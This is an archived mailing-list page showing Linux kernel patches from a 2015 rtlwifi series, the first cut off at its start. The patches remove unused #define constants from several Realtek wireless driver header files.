drivers/net/wireless/rtlwifi/base.h | 6 ------
1 file changed, 6 deletions(-)
diff --git a/drivers/net/wireless/rtlwifi/base.h b/drivers/net/wireless/rtlwifi/base.h
index c6cb49c..dee4ac2 100644
--- a/drivers/net/wireless/rtlwifi/base.h
+++ b/drivers/net/wireless/rtlwifi/base.h
@@ -45,9 +45,6 @@ enum ap_peer {
#define RTL_TX_DESC_SIZE 32
#define RTL_TX_HEADER_SIZE (RTL_TX_DESC_SIZE + RTL_TX_DUMMY_SIZE)
-#define HT_AMSDU_SIZE_4K 3839
-#define HT_AMSDU_SIZE_8K 7935
-
#define MAX_BIT_RATE_40MHZ_MCS15 300 /* Mbps */
#define MAX_BIT_RATE_40MHZ_MCS7 150 /* Mbps */
@@ -61,9 +58,6 @@ enum ap_peer {
#define MAX_BIT_RATE_LONG_GI_1NSS_80MHZ_MCS9 390 /* Mbps */
#define MAX_BIT_RATE_LONG_GI_1NSS_80MHZ_MCS7 293 /* Mbps */
-#define RTL_RATE_COUNT_LEGACY 12
-#define RTL_CHANNEL_COUNT 14
-
#define FRAME_OFFSET_FRAME_CONTROL 0
#define FRAME_OFFSET_DURATION 2
#define FRAME_OFFSET_ADDRESS1 4
--
2.3.0
^ permalink raw reply related
* [PATCH v3 4/7] rtlwifi: Remove unused defines from cam.h
From: Priit Laes @ 2015-02-16 13:01 UTC (permalink / raw)
To: Larry Finger, Chaoming Li, Kalle Valo
Cc: linux-wireless, netdev, linux-kernel, Priit Laes
In-Reply-To: <1424091717-13212-1-git-send-email-plaes@plaes.org>
Signed-off-by: Priit Laes <plaes@plaes.org>
---
drivers/net/wireless/rtlwifi/cam.h | 2 --
1 file changed, 2 deletions(-)
diff --git a/drivers/net/wireless/rtlwifi/cam.h b/drivers/net/wireless/rtlwifi/cam.h
index 3550808..e2e647d 100644
--- a/drivers/net/wireless/rtlwifi/cam.h
+++ b/drivers/net/wireless/rtlwifi/cam.h
@@ -28,13 +28,11 @@
#define CAM_CONTENT_COUNT 8
-#define CFG_DEFAULT_KEY BIT(5)
#define CFG_VALID BIT(15)
#define PAIRWISE_KEYIDX 0
#define CAM_PAIRWISE_KEY_POSITION 4
-#define CAM_CONFIG_USEDK 1
#define CAM_CONFIG_NO_USEDK 0
void rtl_cam_reset_all_entry(struct ieee80211_hw *hw);
--
2.3.0
^ permalink raw reply related
* [PATCH v3 2/7] rtlwifi: Remove unused defines from driver-specific def.h
From: Priit Laes @ 2015-02-16 12:59 UTC (permalink / raw)
To: Larry Finger, Chaoming Li, Kalle Valo
Cc: linux-wireless, netdev, linux-kernel, Priit Laes
In-Reply-To: <1424091600-13121-1-git-send-email-plaes@plaes.org>
HAL_RETRY_LIMIT_*
RESET_DELAY_8185
RT_IBSS_INT_MASKS
RT_AC_INT_MASKS
NUM_OF_*
BT_*,
MAX_{LINES,BYTES}_*,
*_THREE_WIRE
*_QUEUE related
Signed-off-by: Priit Laes <plaes@plaes.org>
---
drivers/net/wireless/rtlwifi/rtl8188ee/def.h | 41 ----------------------------
drivers/net/wireless/rtlwifi/rtl8192ce/def.h | 41 ----------------------------
drivers/net/wireless/rtlwifi/rtl8192de/def.h | 38 --------------------------
drivers/net/wireless/rtlwifi/rtl8192se/def.h | 1 -
drivers/net/wireless/rtlwifi/rtl8723ae/def.h | 41 ----------------------------
drivers/net/wireless/rtlwifi/rtl8821ae/def.h | 41 ----------------------------
6 files changed, 203 deletions(-)
diff --git a/drivers/net/wireless/rtlwifi/rtl8188ee/def.h b/drivers/net/wireless/rtlwifi/rtl8188ee/def.h
index d9ea9d0..0532b98 100644
--- a/drivers/net/wireless/rtlwifi/rtl8188ee/def.h
+++ b/drivers/net/wireless/rtlwifi/rtl8188ee/def.h
@@ -26,53 +26,12 @@
#ifndef __RTL92C_DEF_H__
#define __RTL92C_DEF_H__
-#define HAL_RETRY_LIMIT_INFRA 48
-#define HAL_RETRY_LIMIT_AP_ADHOC 7
-
-#define RESET_DELAY_8185 20
-
-#define RT_IBSS_INT_MASKS (IMR_BCNINT | IMR_TBDOK | IMR_TBDER)
-#define RT_AC_INT_MASKS (IMR_VIDOK | IMR_VODOK | IMR_BEDOK|IMR_BKDOK)
-
-#define NUM_OF_FIRMWARE_QUEUE 10
-#define NUM_OF_PAGES_IN_FW 0x100
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_HCCA 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_CMD 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_MGNT 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_HIGH 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_BCN 0x2
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB 0xA1
-
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB_DTM 0x00
-
-#define MAX_LINES_HWCONFIG_TXT 1000
-#define MAX_BYTES_LINE_HWCONFIG_TXT 256
-
-#define SW_THREE_WIRE 0
-#define HW_THREE_WIRE 2
-
-#define BT_DEMO_BOARD 0
-#define BT_QA_BOARD 1
-#define BT_FPGA 2
-
#define HAL_PRIME_CHNL_OFFSET_DONT_CARE 0
#define HAL_PRIME_CHNL_OFFSET_LOWER 1
#define HAL_PRIME_CHNL_OFFSET_UPPER 2
-#define MAX_H2C_QUEUE_NUM 10
-
#define RX_MPDU_QUEUE 0
#define RX_CMD_QUEUE 1
-#define RX_MAX_QUEUE 2
-#define AC2QUEUEID(_AC) (_AC)
#define C2H_RX_CMD_HDR_LEN 8
#define GET_C2H_CMD_CMD_LEN(__prxhdr) \
diff --git a/drivers/net/wireless/rtlwifi/rtl8192ce/def.h b/drivers/net/wireless/rtlwifi/rtl8192ce/def.h
index 9b660df..690a7a1 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192ce/def.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192ce/def.h
@@ -30,59 +30,18 @@
#ifndef __RTL92C_DEF_H__
#define __RTL92C_DEF_H__
-#define HAL_RETRY_LIMIT_INFRA 48
-#define HAL_RETRY_LIMIT_AP_ADHOC 7
-
#define PHY_RSSI_SLID_WIN_MAX 100
#define PHY_LINKQUALITY_SLID_WIN_MAX 20
#define PHY_BEACON_RSSI_SLID_WIN_MAX 10
-#define RESET_DELAY_8185 20
-
-#define RT_IBSS_INT_MASKS (IMR_BCNINT | IMR_TBDOK | IMR_TBDER)
-#define RT_AC_INT_MASKS (IMR_VIDOK | IMR_VODOK | IMR_BEDOK|IMR_BKDOK)
-
-#define NUM_OF_FIRMWARE_QUEUE 10
-#define NUM_OF_PAGES_IN_FW 0x100
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_HCCA 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_CMD 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_MGNT 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_HIGH 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_BCN 0x2
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB 0xA1
-
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB_DTM 0x00
-
-#define MAX_LINES_HWCONFIG_TXT 1000
-#define MAX_BYTES_LINE_HWCONFIG_TXT 256
-
-#define SW_THREE_WIRE 0
-#define HW_THREE_WIRE 2
-
-#define BT_DEMO_BOARD 0
-#define BT_QA_BOARD 1
-#define BT_FPGA 2
-
#define RX_SMOOTH_FACTOR 20
#define HAL_PRIME_CHNL_OFFSET_DONT_CARE 0
#define HAL_PRIME_CHNL_OFFSET_LOWER 1
#define HAL_PRIME_CHNL_OFFSET_UPPER 2
-#define MAX_H2C_QUEUE_NUM 10
-
#define RX_MPDU_QUEUE 0
#define RX_CMD_QUEUE 1
-#define RX_MAX_QUEUE 2
-#define AC2QUEUEID(_AC) (_AC)
#define C2H_RX_CMD_HDR_LEN 8
#define GET_C2H_CMD_CMD_LEN(__prxhdr) \
diff --git a/drivers/net/wireless/rtlwifi/rtl8192de/def.h b/drivers/net/wireless/rtlwifi/rtl8192de/def.h
index 939c905..4ca1fe1 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192de/def.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192de/def.h
@@ -38,58 +38,20 @@
#define RF6052_MAX_REG 0x3F
#define RF6052_MAX_PATH 2
-#define HAL_RETRY_LIMIT_INFRA 48
-#define HAL_RETRY_LIMIT_AP_ADHOC 7
-
#define PHY_RSSI_SLID_WIN_MAX 100
#define PHY_LINKQUALITY_SLID_WIN_MAX 20
#define PHY_BEACON_RSSI_SLID_WIN_MAX 10
-#define RESET_DELAY_8185 20
-
-#define RT_IBSS_INT_MASKS (IMR_BCNINT | IMR_TBDOK | IMR_TBDER)
#define RT_AC_INT_MASKS (IMR_VIDOK | IMR_VODOK | IMR_BEDOK|IMR_BKDOK)
-#define NUM_OF_FIRMWARE_QUEUE 10
-#define NUM_OF_PAGES_IN_FW 0x100
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_HCCA 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_CMD 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_MGNT 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_HIGH 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_BCN 0x2
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB 0xA1
-
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB_DTM 0x00
-
-#define MAX_LINES_HWCONFIG_TXT 1000
-#define MAX_BYTES_LINE_HWCONFIG_TXT 256
-
-#define SW_THREE_WIRE 0
-#define HW_THREE_WIRE 2
-
-#define BT_DEMO_BOARD 0
-#define BT_QA_BOARD 1
-#define BT_FPGA 2
-
#define RX_SMOOTH_FACTOR 20
#define HAL_PRIME_CHNL_OFFSET_DONT_CARE 0
#define HAL_PRIME_CHNL_OFFSET_LOWER 1
#define HAL_PRIME_CHNL_OFFSET_UPPER 2
-#define MAX_H2C_QUEUE_NUM 10
-
#define RX_MPDU_QUEUE 0
#define RX_CMD_QUEUE 1
-#define RX_MAX_QUEUE 2
#define C2H_RX_CMD_HDR_LEN 8
#define GET_C2H_CMD_CMD_LEN(__prxhdr) \
diff --git a/drivers/net/wireless/rtlwifi/rtl8192se/def.h b/drivers/net/wireless/rtlwifi/rtl8192se/def.h
index ef87c09..41466f9 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192se/def.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192se/def.h
@@ -31,7 +31,6 @@
#define RX_MPDU_QUEUE 0
#define RX_CMD_QUEUE 1
-#define RX_MAX_QUEUE 2
#define SHORT_SLOT_TIME 9
#define NON_SHORT_SLOT_TIME 20
diff --git a/drivers/net/wireless/rtlwifi/rtl8723ae/def.h b/drivers/net/wireless/rtlwifi/rtl8723ae/def.h
index 94bdd4b..bcdf227 100644
--- a/drivers/net/wireless/rtlwifi/rtl8723ae/def.h
+++ b/drivers/net/wireless/rtlwifi/rtl8723ae/def.h
@@ -26,53 +26,12 @@
#ifndef __RTL8723E_DEF_H__
#define __RTL8723E_DEF_H__
-#define HAL_RETRY_LIMIT_INFRA 48
-#define HAL_RETRY_LIMIT_AP_ADHOC 7
-
-#define RESET_DELAY_8185 20
-
-#define RT_IBSS_INT_MASKS (IMR_BCNINT | IMR_TBDOK | IMR_TBDER)
-#define RT_AC_INT_MASKS (IMR_VIDOK | IMR_VODOK | IMR_BEDOK|IMR_BKDOK)
-
-#define NUM_OF_FIRMWARE_QUEUE 10
-#define NUM_OF_PAGES_IN_FW 0x100
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_HCCA 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_CMD 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_MGNT 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_HIGH 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_BCN 0x2
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB 0xA1
-
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB_DTM 0x00
-
-#define MAX_LINES_HWCONFIG_TXT 1000
-#define MAX_BYTES_LINE_HWCONFIG_TXT 256
-
-#define SW_THREE_WIRE 0
-#define HW_THREE_WIRE 2
-
-#define BT_DEMO_BOARD 0
-#define BT_QA_BOARD 1
-#define BT_FPGA 2
-
#define HAL_PRIME_CHNL_OFFSET_DONT_CARE 0
#define HAL_PRIME_CHNL_OFFSET_LOWER 1
#define HAL_PRIME_CHNL_OFFSET_UPPER 2
-#define MAX_H2C_QUEUE_NUM 10
-
#define RX_MPDU_QUEUE 0
#define RX_CMD_QUEUE 1
-#define RX_MAX_QUEUE 2
-#define AC2QUEUEID(_AC) (_AC)
#define C2H_RX_CMD_HDR_LEN 8
#define GET_C2H_CMD_CMD_LEN(__prxhdr) \
diff --git a/drivers/net/wireless/rtlwifi/rtl8821ae/def.h b/drivers/net/wireless/rtlwifi/rtl8821ae/def.h
index ee7c208..dfbdf53 100644
--- a/drivers/net/wireless/rtlwifi/rtl8821ae/def.h
+++ b/drivers/net/wireless/rtlwifi/rtl8821ae/def.h
@@ -118,55 +118,14 @@
#define WIFI_NAV_UPPER_US 30000
#define HAL_92C_NAV_UPPER_UNIT 128
-#define HAL_RETRY_LIMIT_INFRA 48
-#define HAL_RETRY_LIMIT_AP_ADHOC 7
-
-#define RESET_DELAY_8185 20
-
-#define RT_IBSS_INT_MASKS (IMR_BCNINT | IMR_TBDOK | IMR_TBDER)
-#define RT_AC_INT_MASKS (IMR_VIDOK | IMR_VODOK | IMR_BEDOK|IMR_BKDOK)
-
-#define NUM_OF_FIRMWARE_QUEUE 10
-#define NUM_OF_PAGES_IN_FW 0x100
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO 0x07
-#define NUM_OF_PAGE_IN_FW_QUEUE_HCCA 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_CMD 0x0
-#define NUM_OF_PAGE_IN_FW_QUEUE_MGNT 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_HIGH 0x02
-#define NUM_OF_PAGE_IN_FW_QUEUE_BCN 0x2
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB 0xA1
-
-#define NUM_OF_PAGE_IN_FW_QUEUE_BK_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_BE_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VI_DTM 0x048
-#define NUM_OF_PAGE_IN_FW_QUEUE_VO_DTM 0x026
-#define NUM_OF_PAGE_IN_FW_QUEUE_PUB_DTM 0x00
-
#define MAX_RX_DMA_BUFFER_SIZE 0x3E80
-#define MAX_LINES_HWCONFIG_TXT 1000
-#define MAX_BYTES_LINE_HWCONFIG_TXT 256
-
-#define SW_THREE_WIRE 0
-#define HW_THREE_WIRE 2
-
-#define BT_DEMO_BOARD 0
-#define BT_QA_BOARD 1
-#define BT_FPGA 2
-
#define HAL_PRIME_CHNL_OFFSET_DONT_CARE 0
#define HAL_PRIME_CHNL_OFFSET_LOWER 1
#define HAL_PRIME_CHNL_OFFSET_UPPER 2
-#define MAX_H2C_QUEUE_NUM 10
-
#define RX_MPDU_QUEUE 0
#define RX_CMD_QUEUE 1
-#define RX_MAX_QUEUE 2
-#define AC2QUEUEID(_AC) (_AC)
#define MAX_RX_DMA_BUFFER_SIZE_8812 0x3E80
--
2.3.0
^ permalink raw reply related
* [PATCH v3 1/7] rtlwifi: Remove unused defines from rtl8192cu driver
From: Priit Laes @ 2015-02-16 12:59 UTC (permalink / raw)
To: Larry Finger, Chaoming Li, Kalle Valo
Cc: linux-wireless, netdev, linux-kernel, Priit Laes
In-Reply-To: <1424091600-13121-1-git-send-email-plaes@plaes.org>
Signed-off-by: Priit Laes <plaes@plaes.org>
---
drivers/net/wireless/rtlwifi/rtl8192cu/hw.h | 2 --
1 file changed, 2 deletions(-)
diff --git a/drivers/net/wireless/rtlwifi/rtl8192cu/hw.h b/drivers/net/wireless/rtlwifi/rtl8192cu/hw.h
index c1e33b0..6758808 100644
--- a/drivers/net/wireless/rtlwifi/rtl8192cu/hw.h
+++ b/drivers/net/wireless/rtlwifi/rtl8192cu/hw.h
@@ -32,8 +32,6 @@
#define H2C_RA_MASK 6
-#define LLT_POLLING_LLT_THRESHOLD 20
-#define LLT_POLLING_READY_TIMEOUT_COUNT 100
#define LLT_LAST_ENTRY_OF_TX_PKT_BUFFER 255
#define RX_PAGE_SIZE_REG_VALUE PBP_128
--
2.3.0
^ permalink raw reply related
page: next (older) | prev (newer) | latest
- recent:[subjects (threaded)|topics (new)|topics (active)]
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox